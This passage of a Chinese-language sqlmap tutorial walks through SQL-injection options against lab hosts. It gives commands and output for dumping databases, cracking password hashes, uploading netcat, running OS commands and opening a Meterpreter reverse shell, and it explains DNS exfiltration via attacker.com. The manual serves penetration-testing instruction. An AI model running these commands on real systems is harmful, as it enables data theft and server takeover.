或者更簡單地,若是用戶知道代表True的頁面HTTP狀態碼爲200而代表False的頁面HTTP狀態碼不爲200比如是401,
可以用“–code”參數告訴告訴Sqlmap這一信息,如“–code=200”。

參數:–titles

若是用戶知道代表True的頁面title和代表False的頁面title不同,
如代表True的頁面title爲“Welcome”,代表False的頁面title爲“Forbidden”,
就可以使用參數“–titles”讓Sqlmap依據title來判斷True或False。

參數:–text-only

若是HTTP響應體中有許多諸如JavaScript之類的活動內容,可以使用參數“–text-only”讓Sqlmap只專注於純文本內容。

九、注入技術

這些參數用於對特定的SQL注入技術進行調整。

1.檢測時所用技術

參數:–technique

此參數用於指定檢測注入時所用技術。默認情況下Sqlmap會使用自己支持的全部技術進行檢測。
此參數後跟表示檢測技術的大寫字母,其值爲B、E、U、S、T或Q,含義如下:

  • B:Boolean-based blind(布爾型注入)
  • E:Error-based(報錯型注入)
  • U:Union query-based(可聯合查詢注入)
  • S:Stacked queries(可多語句查詢注入)
  • T:Time-based blind(基於時間延遲注入)
  • Q:Inline queries(嵌套查詢注入)

可以用“–technique ES”來指定使用兩種檢測技術。“–technique BEUSTQ”與默認情況等效。

想要訪問文件系統或是Windows的註冊表就一定要添加“S”進行多語句查詢注入測試。

2.基於時間延遲注入中延時設置

參數:–time-sec

用此參數設置基於時間延遲注入中延時時長,默認爲5秒。

3.聯合查詢注入中列數設置

參數:–union-cols

在進行聯合查詢注入時,Sqlmap會自動檢測列數,範圍是1到10。當level值較高時列數檢測範圍的上限會擴大到50。

可以用此參數指定列數檢測範圍,如“–union-cols 12-16”就會讓Sqlmap的列數檢測範圍變成12到16。

4.聯合查詢注入中字符設置

參數:–union-char

默認情況下Sqlmap進行聯合查詢注入時使用空字符(NULL)。但當level值較高時Sqlmap會生成隨機數用於聯合查詢注入。
因爲有時使用空字符注入會失敗而使用隨機數會成功。

使用此參數可以指定聯合查詢注入中使用的字符,如:“–union-char 123”。

“聯合查詢注入中使用的字符”究竟是什麼意思呢?請看下面兩個例子:

第一個例子,不使用“–union-char”,默認情況下聯合查詢注入中使用的字符爲空字符(NULL):

  python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3

部分輸出爲:

  [10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
  [10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x6b43674e76687959526b6452627255787373675a6f5a436f7266756d49424547496d506779456170,0x7162767671),NULL,NULL,NULL,NULL,NULL-- caXD

第一個例子,使用“–union-char 123”,指定聯合查詢注入中使用的字符爲“123”:

  python sqlmap.py -u "http://192.168.56.101/user.php?id=001" --technique U -v 3 --union-char 123

部分輸出爲:

  [10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO
  [10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb

仔細觀察上示兩例的輸出就能明白“聯合查詢注入中使用的字符”就是“UNION ALL SELECT XXX, XXX”中的“XXX”。

5.聯合查詢注入中表名設置

參數:–union-from

有些情況下在聯合查詢中必須指定一個有效和可訪問的表名,否則聯合查詢會執行失敗,如在微軟的Access中。
(也就是說,某些DBMS不支持“SELECT 1,2;”這樣的語句,SELECT必須有FROM。)
用此參數指定這個表名,如:“–union-from=users”。

6.DNS泄露攻擊

參數:–dns-domain

SQL注入中的DNS泄露攻擊詳情見論文《Data Retrieval over DNS in SQL Injection Attacks》

假設攻擊者控制着某域名(例如:attacker.com)的域名解析服務器,即查詢該域名的子域名對應的IP地址都會到這臺域名解析服務器來查詢。
這時攻擊者就可以使用“–dns-domain attacker.com”來進行DNS泄露攻擊。

實際上若是攻擊者沒有控制任何一臺域名解析服務器,那麼她可以註冊一個新域名,再自己搭建一臺域名解析服務器用於接受數據。

7.二階注入攻擊

參數:–second-order

有時注入結果顯示在別的頁面,此時需要用此參數指明顯示注入結果的頁面,該參數後跟一個URL。

十、指紋

默認地Sqlmap會自動對注入目標進行數據庫管理系統指紋識別。

參數:-f或–fingerprint

若想執行更廣泛的數據庫管理系統指紋識別可以添加此參數。

參數:-b或–banner

若想得到更精確的指紋識別結果可以添加此參數,詳情見後文。

十一、暴力破解

1.暴力破解表名

參數:–common-tables

有些情況下用“–tables”不能列出數據庫中表名來,如:

  • 版本小於5.0的MySQL沒有information_schema表
  • 微軟Access的MSysObjects表默認不可讀
  • 數據庫用戶權限過低無法讀取表名

當無法讀出表名時可以使用參數“–common-tables”暴力破解表名,
該參數使用的字典是txt/common-tables.txt,其中存儲了常見表名,可以手動編輯該文件。

2.暴力破解列名

參數:–common-columns

有些情況下用“–columns”不能列出數據表中列名來,如:

  • 版本小於5.0的MySQL沒有information_schema表
  • 微軟Access的MSysObjects表默認不可讀
  • 數據庫用戶權限過低無法讀取列名

當無法讀出列名時可以使用參數“–common-columns”暴力破解列名,
該參數使用的字典是txt/common-columns.txt,其中存儲了常見列名,可以手動編輯該文件。

十二、列舉數據

這些參數用於列舉出數據庫管理系統信息、數據結構和數據內容。

1.一鍵列舉全部數據

參數:–all

使用這一個參數就能列舉所有可訪問的數據。但不推薦使用,因爲這會發送大量請求,把有用和無用的信息都列舉出來。

2.列舉數據庫管理系統信息

參數:-b或–banner

大多數的現代數據庫管理系統都有一個函數或是環境變量能夠返回數據庫管理系統的版本號和最後的補丁級別以及底層的操作系統信息。
通常這個函數是version()、環境變量是@@version,當然要看目標數據庫管理系統了。使用參數“-b”或“–banner”來列舉數據庫管理系統的這一信息。

下例中的數據庫是Oracle:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" --banner

部分輸出爲:

  [09:54:30] [INFO] fetching banner
  web application technology: PHP 5.2.6, Apache 2.2.9
  back-end DBMS: Oracle
  banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

下例中的數據庫是Mysql:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --banner

部分輸出爲:

  [09:56:32] [INFO] fetching banner
  back-end DBMS operating system: Linux Ubuntu
  back-end DBMS: MySQL >= 5.0
  banner:    '5.5.50-0ubuntu0.14.04.1'

3.列舉當前用戶

參數:–current-user

使用這一參數有可能將執行SQL語句的用戶列舉出來。

4.列舉當前數據庫

參數:–current-db

使用這一參數有可能將WEB應用連接的數據庫名列舉出來。

5.列舉服務器主機名

參數:–hostname

使用這一參數有可能將數據庫管理系統所在計算機的主機名列舉出來,如:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\

hostname

部分輸出如下:

  [xx:xx:04] [INFO] fetching server hostname
  [xx:xx:04] [INFO] retrieved: debian-5.0-i386
  hostname: 'debian-5.0-i386'

6.檢測當前用戶是否是管理員

參數:–is-dba

使用這一參數有可能能夠檢測當前用戶是否是管理員,若是管理員則返回True,否則返回False。如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --is-dba

部分輸出爲:

  [10:05:16] [INFO] testing if current user is DBA
  [10:05:16] [INFO] fetching current user
  [10:05:16] [WARNING] reflective value(s) found and filtering out
  current user is DBA:    True

7.列舉數據庫管理系統中的用戶

參數:–users

當前用戶有讀取包含了數據庫管理系統中用戶信息的系統表的權限時使用這一參數可以列舉數據庫管理系統中的用戶。

8.列舉並破解數據庫管理系統用戶密碼Hash值

參數:–passwords

當前用戶有讀取包含了數據庫管理系統中用戶密碼Hash值的系統表的權限時使用這一參數可以列舉數據庫管理系統中用戶密碼Hash值。
Sqlmap會先列舉用戶,再列舉用戶密碼Hash值。

下面是一個以PostgreSQL爲目標的例子:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

部分輸出如下所示:

  back-end DBMS: PostgreSQL
  [hh:mm:38] [INFO] fetching database users password hashes
  do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
  [hh:mm:42] [INFO] using hash method: 'postgres_passwd'
  what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
  [hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
  do you want to use common password suffixes? (slow!) [y/N] n
  [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
  [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
  [hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
  database management system users password hashes:
  [*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
  [*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

Sqlmap不僅會列舉出密碼Hash,還會解析密碼Hash格式,並詢問用戶是否要通過密碼字典的方式破解Hash值尋找出明文密碼。

若想只枚舉特定用戶的密碼使用參數“-U”指定用戶,可用“CU”來代表當前用戶,如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU

部分輸出如下:

  database management system users password hashes:
  [*] root [1]:
      password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
      clear-text password: root

9.列舉數據庫管理系統的用戶權限

參數:–privileges

當前用戶有讀取包含了數據庫管理系統中用戶信息的系統表的權限時使用這一參數可以列舉數據庫管理系統中用戶的權限。通過用戶權限可以判斷哪些用戶是管理員。

若想只枚舉特定用戶的權限使用參數“-U”指定用戶,可用“CU”來代表當前用戶。

若目標是微軟的SQL Server,這一參數會列出每個用戶是否是管理員而不列出每個用戶的具體權限。

10.列舉數據庫管理系統的用戶角色

參數:–roles

當前用戶有讀取包含了數據庫管理系統中用戶信息的系統表的權限時使用這一參數可以列舉數據庫管理系統中用戶的角色。

若想只枚舉特定用戶的角色使用參數“-U”指定用戶,可用“CU”來代表當前用戶。

官方手冊上說只有目標數據庫管理系統是Oracle時這一功能纔可用,但我在Mysql中測試也是可用的。

11.列舉數據庫管理系統中的所有數據庫

參數:–dbs

當前用戶有讀取包含了數據庫管理系統中可用數據庫信息的系統表的權限時使用這一參數可以列舉數據庫管理系統中所有數據庫。

12.列舉數據庫數據庫的所有表

參數:–tables、–exclude-sysdbs和-D

當前用戶有讀取包含了數據庫管理系統中可用數據庫中數據表信息的系統表的權限時使用參數“–tables”可以列舉用參數“-D”指定的數據庫中的所有數據表。
若沒有用參數“-D”指定數據庫,只使用參數“–tables”會列舉所有數據庫中所有表。如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables

使用參數“–exclude-sysdbs”可排除系統數據庫。在Oracle中要指定TABLESPACE_NAME而不是數據庫名。

13.列舉數據表的所有列

參數:–columns、-C、-T和-D

如權限允許,使用參數“–columns”可以列出用“-D”指定的數據庫中用“-T”指定的表中的所有列的名字和數據類型。

若沒有指定數據庫則會默認使用當前數據庫。還可以用“-C”指定感興趣的某幾列這樣就不用列出所有列來。

下面是以SQLite爲目標的例子:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users

部分輸出如下:

  Database: SQLite_masterdb
  Table: users
  [3 columns]
  +---------+---------+
  | Column | Type     |
  +---------+---------+
  | id      | INTEGER |
  | name    | TEXT    |
  | surname | TEXT    |
  +---------+---------+

在PostgreSQL中,數據庫的名字一定是“public”或者是某個系統表
。因爲在PostgreSQL中只能列舉當前數據庫或系統數據庫中數據,而WEB應用連接的數據庫別名總是“public”。

十三、列舉數據庫管理系統的模式

參數:–schema和–exclude-sysdbs

用戶可用此選項列舉數據庫管理系統的模式。模式列表包含所有數據庫、表、列、觸發器和他們各自的類型。
同樣地,可使用參數“–exclude-sysdbs”排除系統數據庫。

下面是的例子測試對象是Mysql:

部分輸出如下:

[...]
Database: mysql
Table: procs_priv
[8 columns]
+--------------+----------------------------------------+
| Column       | Type                                   |
+--------------+----------------------------------------+
| Timestamp    | timestamp                              |
| User         | char(16)                               |
| Db           | char(64)                               |
| Grantor      | char(77)                               |
| Host         | char(60)                               |
| Proc_priv    | set('Execute','Alter Routine','Grant') |
| Routine_name | char(64)                               |
| Routine_type | enum('FUNCTION','PROCEDURE')           |
+--------------+----------------------------------------+
[...]
Database: mysql
Table: ndb_binlog_index
[7 columns]
+-----------+---------------------+
| Column    | Type                |
+-----------+---------------------+
| Position  | bigint(20) unsigned |
| deletes   | bigint(20) unsigned |
| epoch     | bigint(20) unsigned |
| File      | varchar(255)        |
| inserts   | bigint(20) unsigned |
| schemaops | bigint(20) unsigned |
| updates   | bigint(20) unsigned |
+-----------+---------------------+

15.列舉表中數據條數

參數:–count

有時我們只想知道有多少數據而不想知道具體的數據內容,此時就可以使用該參數。如:

  python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

部分輸出如下:

  Database: testdb
  +----------------+---------+
  | Table          | Entries |
  +----------------+---------+
  | dbo.users      | 4       |
  | dbo.users_blob | 2       |
  +----------------+---------+

16.列舉表中數據

參數:–dump、-C、-T、-D、–start、–stop和–where

權限允許時可以列舉表中數據。用參數“-D”指定數據庫,用參數“-T”指定數據表,用參數“-C”指定目標列。
若只指定了數據表而沒有指定數據庫則默認使用當前數據庫。若沒有指定列則列舉表中全部列。

下例是以Firebird爲目標:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users

部分輸出如下:

  Database: Firebird_masterdb
  Table: USERS
  [4 entries]
  +----+--------+------------+
  | ID | NAME   | SURNAME    |
  +----+--------+------------+
  | 1 | luther | blisset     |
  | 2 | fluffy | bunny       |
  | 3 | wu     | ming        |
  | 4 | NULL   | nameisnull  |
  +---+--------+-------------+

只使用參數“–dump”和“-D”可以一次性列舉整個數據庫中所有數據。

Sqlmap會自動將參數“–dump”列舉的數據保存到CSV格式文件中,文件具體路徑會在Sqlmap的輸出中給出,如:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump

部分輸出爲:

  [11:15:27] [INFO] analyzing table dump for possible password hashes
  Database: DSSchool
  Table: T_SCORESYSTEMTEACHERS
  [2 entries]
  +-----+----------+-------+---------+----------+
  | AGE | NAME     | TITLE | ACCOUNT | PASSWORD |
  +-----+----------+-------+---------+----------+
  | 21  | neo      | ??    | 001     | 001      |
  | 31  | morphine | ??    | 002     | 002      |
  +-----+----------+-------+---------+----------+

  [11:15:27] [INFO] table 'DSSchool.T_SCORESYSTEMTEACHERS' dumped to CSV file '/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACHERS.csv'

截取的輸出中最後一行便是CSV文件保存的路徑。

若只想列舉部分數據可以使用參數“–start”和“–stop”。如只想列舉第一條數據可以添加“–stop 1”,
只想列舉第二和第三條數據可以添加“–start 1 –stop 3”,可見這是一個左開右閉區間。
區間範圍僅在盲注中有效,因爲在基於錯誤信息的注入和聯合查詢注入中區間範圍會被忽略。

除了用區間範圍限制列舉的數據外,還可以用“–where”參數來限制列舉的數據。
“–where”參數會被Sqlmap轉換成WHERE子句,如“–where id>3”會只列舉列id的值大於3的數據。

如你所見,Sqlmap十分靈活。可以囫圇地列舉整個數據庫,也可以細緻地在表中選擇列,在列中又選擇特定數據。

17.列舉所有數據庫所有表中所有數據

參數:–dump-all和–exclude-sysdbs

使用參數“–dump-all”可列舉所有數據庫所有表中所有數據。同樣地,可使用參數“–exclude-sysdbs”排除系統數據庫。

注意微軟SQL Server的master數據庫不屬於系統數據庫,因爲有些管理員會在這個數據庫中存儲用戶數據。

18.在數據庫、表、列中搜索

參數:–search、-C、-T和-D

可以搜索數據庫名,在所有數據庫中搜索表名,在所有數據庫的所有表中搜索列名。

參數“–search”要和下列參數之一配合使用:

  • -C:後跟以逗號分隔的列名,在整個數據庫管理系統中搜索
  • -T:後跟以逗號分隔的表名,在整個數據庫管理系統中搜索
  • -D:後跟以逗號分隔的庫名,在整個數據庫管理系統中搜索

在搜索時,Sqlmap會詢問用戶進行精確搜索還是包含搜索。
默認爲包含搜索,即搜索的字符串包含於結果中就認爲命中。
精確搜索要求搜索的字符串與結果完全相等。

19.運行自定義的SQL語句

參數:–sql-query和–sql-shell

這一功能允許執行任意的SQL語句,Sqlmap會自動解析給出的SQL語句,選擇恰當的注入技術並將給出的SQL語句打包到payload中。

如果查詢是個SELECT語句,Sqlmap會返回查詢結果。如果Web應用使用的數據庫管理系統支持多語句查詢,Sqlmap會使用堆注入技術。
但要注意Web應用可能不支持堆查詢,例如PHP使用Mysql時不支持堆查詢,但使用PostgreSQL時支持堆查詢。

下例的目標是SQL Server 2000:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

部分輸出如下:

  [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
  [hh:mm:14] [INFO] retrieved: foo
  SELECT 'foo':
  'foo'
  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

部分輸出如下:

  [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
  [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
  unpack it into distinct queries to be able to retrieve the output even if we are
  going blind
  [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
  VARCHAR(8000)), (CHAR(32)))
  [hh:mm:50] [INFO] retrieved: foo
  [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
  [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
  RCHAR(8000)), (CHAR(32)))
  [hh:mm:50] [INFO] retrieved: bar
  [hh:mm:50] [DEBUG] performed 27 quer

如你所見,Sqlmap將提供的SQL語句分成了兩個不同的SELECT語句,並分別返回結果。

參數“–sql-shell”提供一個交互式的SQL語句執行環境,支持Tab鍵補全和命令歷史記錄。如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell

部分輸出如下:

  [15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
  sql-shell> select 'foo';
  [15:07:41] [INFO] fetching SQL SELECT statement query output: 'select 'foo''
  select 'foo';:    'foo'
  sql-shell> select password from mysql.user where user='root';
  [15:07:42] [INFO] fetching SQL SELECT statement query output: 'select password from mysql.user where user='root''
  select password from mysql.user where user='root'; [1]:
  [*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
  sql-shell> show tables;
  [15:11:15] [INFO] fetching SQL SELECT statement query output: 'show tables'
  [15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
  show tables; [1]:

十四、UDF注入

參數:–udf-inject

UDF是“user-defined function”的縮寫,UDF是一種針對MySQL和PostgreSQL的高級注入技術,詳情見《Advanced SQL injection to operating system full control》

可以編譯MySQL或PostgreSQL的共享庫、DLL(Windows)和共享對象(Linux/Unix)並將這些文件在本機上的路徑提供給Sqlmap來進行UDF注入。
Sqlmap會先問一些問題然後上傳UDF文件並創建UDF最後根據問題答案執行UDF。完成UDF注入後,Sqlmap會刪除上傳的UDF文件。

參數:–shared-lib

添加此參數Sqlmap會在運行時詢問共享庫文件路徑。

在Sqlmap安裝目錄的udf目錄中有許多UDF文件,按照DMBS、操作系統、位數和版本歸類,可以直接使用。

十五、訪問文件系統

1.讀取文件

參數:–file-read

當數據庫管理系統是MySQL、PostgreSQL或微軟的SQL Server且當前用戶有讀取文件相關權限時讀取文件是可行的。
讀取的文件既可以是文件文件也可以是二進制文件,Sqlmap會處理好的。下例的目標數據庫管理系統是SQL Server 2005:

  python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

部分輸出如下:

[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:
'/software/sqlmap/output/192.168.136.129/files/C__example.exe'

然後查看下載的文件:

  $ ls -l output/192.168.136.129/files/C__example.exe
  -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
  $ file output/192.168.136.129/files/C__example.exe
  output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

2.上傳文件

參數:–file-write和–file-dest

當數據庫管理系統是MySQL、PostgreSQL或微軟的SQL Server且當前用戶有寫文件相關權限時上傳文件是可行的。
上傳的文件既可以是文件文件也可以是二進制文件,Sqlmap會處理好的。下例的目標數據庫管理系統是MySQL,上傳了一個二進制的UPX壓縮文件:

  $ file /software/nc.exe.packed
  /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
  $ ls -l /software/nc.exe.packed
  -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
  $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
  -file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
  [...]
  [hh:mm:29] [INFO] the back-end DBMS is MySQL
  web server operating system: Windows 2003 or 2008
  web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
  back-end DBMS: MySQL >= 5.0.0
  [...]
  do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
  fully written on the back-end DBMS file system? [Y/n] y
  [hh:mm:52] [INFO] retrieved: 31744
  [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
  ytes, same size as the local file '/software/nc.exe.packed'

十六、操作系統控制

1.執行任意操作系統命令

參數:–os-cmd和–os-shell

若數據庫管理系統是MySQL、PostgreSQL或微軟的SQL Server且當前用戶有相關權限Sqlmap就能利用SQL注入執行任意的操作系統命令。

當數據庫管理系統是MySQL或PostgreSQL時,Sqlmap會通過前面介紹過的文件上傳功能上傳一個包含用戶自定義函數sys_exec()和sys_eval()的二進制共享庫文件,然後創建這兩個用戶自定義函數,通過這兩個函數之一來執行用戶指定的命令。選擇哪個函數取決於用戶是否想要顯示命令執行的標準輸出。

當數據庫管理系統是微軟的SQL Server時,Sqlmap通過存儲過程xp_cmdshell來執行任意命令。
若xp_cmdshell被禁用(SQL Server >= 2005時默認禁用)Sqlmap會啓用它;
若xp_cmdshell不存在,Sqlmap會創建它。

當用戶想要看到命令執行的標準輸出時,Sqlmap使用可列舉的注入技術(盲注、帶內和基於錯誤的注入),而當用戶不想看到命令執行的標準輸出時,堆查詢注入技術將被用於執行命令。

下例的目標是PostgreSQL:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1

部分輸出如下所示:

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually

使用參數“–os-shell”可以模擬一個可以執行任意命令的shell,和“–sql-shell”一樣這個shell也可以用Tab鍵補全,支持歷史記錄。

當堆查詢不被支持(如PHP或ASP+Mysql)且數據庫管理系統是MySQL時,仍然可以通過SELECT的從句INTO OUTFILE在Web所在主機的可寫目錄創建一個Web後門,通過這個Web後門來執行命令。Sqlmap支持這一技術並要求用戶提供一些用逗號分割的可能是可寫目錄的路徑。Sqlmap支持以下這些服務器端腳本語言:

  • ASP
  • ASP.NET
  • JSP
  • PHP

2.帶外TCP連接:Meterpreter及相關

參數:–os-pwn、–os-smbrelay、–os-bof、–priv-esc、–msf-path和–tmp-path

若數據庫管理系統是MySQL、PostgreSQL或微軟的SQL Server且當前用戶有相關權限Sqlmap就有可能在攻擊者的主機和數據庫所在主機之間建立帶外TCP連接。根據用戶的選擇,此連接可以是交互式命令shell,Meterpreter會話或圖形用戶界面(VNC)會話。

Sqlmap要靠Metasploit生成shellcode,在數據庫所在主機執行shellcode有以下四種技術:

  • 數據庫通過Sqlmap創建的用戶自定義函數sys_bineval()在內存中執行Metasploit的shellcode。支持MySQL和PostgreSQL。參數“–os-pwn”。
  • 通過Sqlmap自己的用戶自定義函數(MySQL和PostgreSQL中的sys_exec(),微軟SQL Server中的xp_cmdshell())上傳並執行Metasploit的“stand-alone payload stager”。參數:“–os-pwn”。
  • 利用遠程代碼執行漏洞MS08-068。攻擊者的機器要用Metasploit的smb_relay監聽來自目標機器的連接。要求在Linux/Unix上以root權限運行Sqlmap且目標DBMS在Windows上以管理員權限運行。參數:“–os-smbrelay”。
  • 在微軟SQL Server 2000和2005中可通過存儲過程sp_replwritetovarbin的堆緩衝區溢出漏洞(MS09-004)在內存中執行Metasploit的shellcode。Sqlmap有自己的數據執行保護繞過技術可以成功利用漏洞,但需要Metasploit生成shellcode以便在成功利用漏洞時執行shellcode。參數:“–os-bof”。

下面是以MySQL爲目標的例子:

python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS            : Windows .NET Server (Build 3790, Service Pack 2).
Computer      : W2K3R2
Architecture  : x86
Meterpreter   : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask    : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask    : 255.255.255.0

meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit

在Windows中Mysql默認以SYSTEM身份運行,但PostgreSQL無論是在Windows還是在Linux中都以低權限的用戶postgres運行。SQL Server 2000默認以SYSTEM身份運行,但SQL Server 2005到2008大多數時間以NETWORK SERVICE身份運行,少數時候以LOCAL SERVICE身份運行。

